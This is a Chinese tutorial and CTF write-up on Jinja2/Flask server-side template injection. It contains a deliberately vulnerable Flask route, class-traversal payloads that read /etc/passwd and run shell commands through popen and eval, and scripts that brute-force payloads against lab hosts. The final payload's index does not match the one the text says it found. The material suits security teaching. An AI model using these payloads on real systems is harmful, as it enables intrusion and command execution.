SSTI模板注入

目录

1、原理简述

2、常用payload及相关脚本

(1)''.__class__    

(2)''.__class__.__base__   

(3)''.__class__.__base__.__subclasses__()   

(4)''.__class__.__base__.__subclasses__()[xx]   

(5)''.__class__.__base__.__subclasses__()[xx].__init__.__globals__ 

(6)函数调用

① 子类可以直接调用的函数

② 重载函数

③ 内嵌函数

(7)常用脚本

① 找类的位置

② 找危险函数eval、popen位置

(8)比较通用的脚本

(9)__mro__[xx]

3、实战:攻防世界 Web_python_template_injection


1、原理简述

漏洞成因:flask

flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。

from flask import Flask,request,render_template_string

app = Flask(__name__)

@app.route('/test')
def index():
    str = request.args.get('myon')

    html_str ='''
    
    
    {{str}}
    
    '''

    return render_template_string(html_str,str = str)

if __name__ == '__main__':
    app.debug = True
    app.run()

上面代码将传入的字符串直接当成字符串去传递给html_str代码,不会解析

而当我们将代码改为

from flask import Flask,request,render_template_string

app = Flask(__name__)

@app.route('/test')
def index():
    strinput = request.args.get('myon')

    html_str ='''
    
    
    {}
    
    '''.format(strinput)

    return render_template_string(html_str)

if __name__ == '__main__':
    app.debug = True
    app.run()

这里我们可以控制输入,这是直接进行渲染,并且会进行解析

比如我们传入?myon={{7*7}}便会得到49的回显,说明被执行了

{{}}是变量包裹标识符,不仅可以传递变量,还可以执行一些简单的表达式

2、常用payload及相关脚本

首先进行一个简单判断,确实存在SSTI

SSTI模板注入_第1张图片

(1)''.__class__    

          //读取当前类

SSTI模板注入_第2张图片

(2)''.__class__.__base__   

          //读取当前类的父类

SSTI模板注入_第3张图片

 (3)''.__class__.__base__.__subclasses__()   

           //读取object下的所有子类

SSTI模板注入_第4张图片

(4)''.__class__.__base__.__subclasses__()[xx]   

          //选择其中的一个子类

SSTI模板注入_第5张图片

 (5)''.__class__.__base__.__subclasses__()[xx].__init__.__globals__ 

          //初始化并加载该类下的可用函数

SSTI模板注入_第6张图片

(6)函数调用

注意:至于为什么用的是79,117,64,看完(7)就明白了

① 子类可以直接调用的函数

比如文件读取类下的get_data函数

''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")

SSTI模板注入_第7张图片

 ② 重载函数

比如危险函数popen

''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()

//不加read()返回的是地址

SSTI模板注入_第8张图片

加上read() 

SSTI模板注入_第9张图片

③ 内嵌函数

先使用__builtins__加载内嵌函数,再调用内嵌函数

''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")

//eval()里面就可以写python代码

SSTI模板注入_第10张图片

''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

SSTI模板注入_第11张图片

''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

SSTI模板注入_第12张图片

(7)常用脚本

注意:针对题目有无参数以及传参方式的不同我们需要写不同的脚本

① 找类的位置

import html

import requests

url='http://1.14.110.159:18080/flasklab/level/1'   //替换成题目的url

def find_class_num():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}"
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text  //本题是只允许post传参
        htmltest =html.unescape(re)
        print(htmltest)
        if '_frozen_importlib_external.FileLoader' in re:  //替换成你想查找的类
            print(i)
            return i
find_class_num()  //如果存在这个类,则会输出该类所在位置

SSTI模板注入_第13张图片

 跑完之后我们发现存在_frozen_importlib_external.FileLoader这个类,且位置是[79]

接下来便可调用该类下的get_data函数去进行文件读取【参考 (6)①】

② 找危险函数eval、popen位置

import html

import requests

url='http://1.14.110.159:18080/flasklab/level/1'   //替换成题目的url

def find_eval():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text //这里也是post传参
        htmltest =html.unescape(re)
        # print(htmltest) //只找函数位置,若想看详细回显则可以取消注释
        if 'popen' in re:
            print(i)
            return i
find_eval()

SSTI模板注入_第14张图片

 跑出来发现位置为[64],接下来我们便可利用内嵌函数eval 进行命令执行【参考(6)③】

这个脚本同样适用于找popen函数,有一点小修改

因为popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__

其实也不一定,可以加上和去掉都试试,因为具体情况还是取决于题目给的环境)

import html

import requests

url='http://1.14.110.159:18080/flasklab/level/1'   //替换成题目的url

def find_popen():
    for i in range(500):
        parm_name='code'
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__}}"  //popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__
        data = {parm_name:parm_value}
        print(data)
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        #print(htmltest)
        if 'popen' in re: //修改查找的函数名
            print(i)
            return i
find_popen()

SSTI模板注入_第15张图片

发现也存在,位置是[117],用法参考【(6)②】

准确来说我们是先找popen函数,没找到再去找eval函数

如果globals下面没有可以直接利用的重载函数,就加载内嵌函数,使用内嵌函数来命令执行。

(8)比较通用的脚本

各位可以自己测试和修改

import html

import requests

url=''
parm_name=''

def find_class_num(class_name):
    for i in range(500):
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}"
        data = {parm_name:parm_value}
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        print(htmltest)
        if class_name in re:
            print(f"{class_name}所在的位置:",i)
            return i
def find_eval(func):
    for i in range(0,500):
        parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
        data = {parm_name:parm_value}
        # print(data)
        print(f"正在查找第{i}个类下的{func}")
        re = requests.post(url,data=data).text
        htmltest =html.unescape(re)
        # print(htmltest)
        if func in re:
            print(i)
            print(f"find,利用:{parm_value}")
            return i
if __name__ == '__main__':
    print("请求方式是post,get方式请更改函数里面的请求参数。")
    url = input("输入URL:")
    parm_name = input("输入参数:")
    choice=eval(input("操作:1,查找类,2,查找内嵌函数:"))
    if choice==1:
        class_name = input("输入查找类:")
        find_class_num(class_name)
    if choice ==2:
        func = input("输入查找的函数:")
        find_eval(func)

(9)__mro__[xx]

这个也是用来读取父类,和__base__类似,因为有时候base会被过滤掉,我们就可以用这个,

里面的xx表示你要读取它的上几级,比如__mro__[1]就相当于__base__ 都是读取上一级类型,

但xx不一定为1,可以往上读取很多级,只要它存在更高级别的父类就可以。

比如:

使用base查找发现不对

SSTI模板注入_第16张图片

 换用mro,便可以找到(前提是这个object父类存在)

SSTI模板注入_第17张图片

3、实战:攻防世界 Web_python_template_injection

eval、popen、import这些函数都可以跑,有时候在重载,有时候在内嵌,最好都试试

这道题是不支持post传参,这里我们编写get传参的脚本

import html

import requests

url='http://61.147.171.105:59139/'

def find_class_num():
    for i in range(0,500):
        # parm_value = "{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}" //跑类位置
        parm_value ="{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"  //跑函数位置
        # data = {url+parm_value}
        # print(data)
        print(url+parm_value)
        re = requests.get(url=url+parm_value).text
        # print(re)
        # print(htmltest)
        if 'eval' in re:
            print(i)
            return i
find_class_num()

跑出eval函数位置在[58]

SSTI模板注入_第18张图片

 直接上前面讲过的与eval函数有关的payload,并修改位置即可

所以payload为:

{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

SSTI模板注入_第19张图片

发现fl4g,直接调用cat命令:

{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()")}}

SSTI模板注入_第20张图片

拿到 ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

后面会继续介绍SSTI模板注入的常见绕过,谢谢关注与支持!

你可能感兴趣的:(Python,web,SSTI,python,SSTI模板注入,网络安全,高危函数,flask)